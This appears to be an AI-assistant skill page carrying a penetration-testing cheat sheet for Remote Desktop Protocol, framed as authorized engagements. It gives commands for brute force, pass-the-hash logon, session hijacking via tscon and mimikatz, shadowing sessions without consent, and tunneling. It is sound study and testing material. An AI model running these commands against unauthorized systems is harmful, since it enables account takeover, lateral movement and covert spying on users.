Testing the Remote Desktop Protocol (RDP, 3389/tcp ms-wbt-server) during authorized engagements. Covers encryption/NLA fingerprinting and NTLM info with nmap NSE, credential validation and pre/post-auth screenshots with netexec, password brute force (mindful of lockout), pass-the-hash logon with xfreerdp, session hijacking via tscon, RDS shadowing, RDP tunneling, and BlueKeep (CVE-2019-0708) / MS12-020 awareness.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Testing the Remote Desktop Protocol (RDP, 3389/tcp ms-wbt-server) during authorized engagements. Covers encryption/NLA fingerprinting and NTLM info with nmap NSE, credential validation and pre/post-auth screenshots with netexec, password brute force (mindful of lockout), pass-the-hash logon with xfreerdp, session hijacking via tscon, RDS shadowing, RDP tunneling, and BlueKeep (CVE-2019-0708) / MS12-020 awareness.
During authorized assessments when TCP 3389 (ms-wbt-server) is open
When fingerprinting the security layer (native RDP, TLS, CredSSP/NLA) and whether NLA is enforced
When validating recovered credentials or NT hashes against RDP
When you already hold a foothold and want to hijack or shadow an active session
When assessing for BlueKeep (CVE-2019-0708) or MS12-020 on legacy hosts
Quick Enumeration
# Encryption, DoS (MS12-020 safe check), and NTLM Windows info
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
# Security layer / NLA fingerprint
nmap --script rdp-enum-encryption -p 3389 <IP>
# netexec quick auth check (reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot (only if NLA is disabled)
nxc rdp <IP> --nla-screenshot
Critical: Checks Most Often Missed
NLA disabled → pre-auth screenshot — when Network Level Authentication is off, you can grab a login-screen screenshot pre-auth (nxc rdp <IP> --nla-screenshot), revealing logged-in usernames and host context.
BlueKeep (CVE-2019-0708) — pre-auth wormable RCE on legacy Windows (7/2008 R2 and older) with NLA off. Treat as critical; only exploit with explicit written authorization (the exploit can crash/BSOD the host).
MS12-020 — RDP DoS / RCE on older hosts. The nmap script checks for it without triggering the DoS.
Session hijacking via tscon — with SYSTEM, you can attach to any user's existing RDP session without their password (tscon <ID> /dest:<SESSIONNAME>).
RDS shadowing — if shadowing policy allows, view/control another user's session, sometimes without consent (mstsc /shadow:<ID> /noconsentprompt /control).
Weak / reused local admin creds + Restricted Admin — pass-the-hash logon via xfreerdp /pth: when Restricted Admin mode is enabled.
How to CONFIRM: NLA status is confirmed by nmap --script rdp-enum-encryption and nxc rdp output. A valid credential is confirmed when nxc rdp <IP> -u u -p p shows (+)/Pwn3d!. BlueKeep candidacy is indicated by legacy OS + NLA off; confirm only via an authorized, non-destructive checker.
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
# Add yourself to the RDP group if you have admin (post-exploitation)
net localgroup "Remote Desktop Users" <user> /add
Step 4: Post-access / lateral movement (hijack, shadow, tunnel)
# Session hijacking with SYSTEM (no password needed)
query user # list sessions + IDs
tscon <ID> /dest:<SESSIONNAME> # take over a session# mimikatz alternative:# ts::sessions ; ts::remote /id:2# RDS shadowing (view/control another session)
qwinsta /server:<IP>
mstsc /v:<IP> /shadow:<SESSION_ID> /control
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt # if policy allows
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
# Pivot/tunnel TCP over an RDP virtual channel (rdp2tcp)
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
# Command exec without GUI / automation# EvilRDP, SharpRDP — run shell/PowerShell, SOCKS proxy, clipboard, file transfer
Key Concepts
Concept
Description
RDP
Microsoft's graphical remote desktop protocol on TCP 3389
NLA (CredSSP)
Network Level Authentication; requires auth before a session is created
Security layer
Negotiated as native RDP, TLS, or CredSSP/NLA
Restricted Admin mode
Allows pass-the-hash RDP logon without sending a cleartext password
Session hijacking (tscon)
Attaching to another user's session as SYSTEM without their password
RDS shadowing
Viewing/controlling another user's active session via mstsc
BlueKeep (CVE-2019-0708)
Pre-auth wormable RCE in legacy RDP
MS12-020
RDP vulnerability allowing DoS / potential RCE on older hosts
Automated command execution and clipboard/file abuse over RDP
Common Scenarios
Scenario 1: NLA Disabled Recon
nxc rdp <IP> --nla-screenshot captures the login screen pre-auth, revealing the logged-in user and domain, which informs targeted credential attacks.
Scenario 2: Pass-the-Hash Logon
A recovered local admin NT hash works with xfreerdp /pth: because Restricted Admin mode is enabled, granting an interactive desktop without cracking the password.
Scenario 3: Session Hijacking
After gaining SYSTEM on a jump host, query user shows a Domain Admin's disconnected session; tscon <ID> /dest:rdp-tcp#0 takes it over, inheriting their privileges.
Scenario 4: BlueKeep Exposure
rdp-ntlm-info shows Windows 2008 R2 with NLA off. The host is flagged as a critical BlueKeep candidate and reported; exploitation proceeds only with written authorization on a maintenance window.
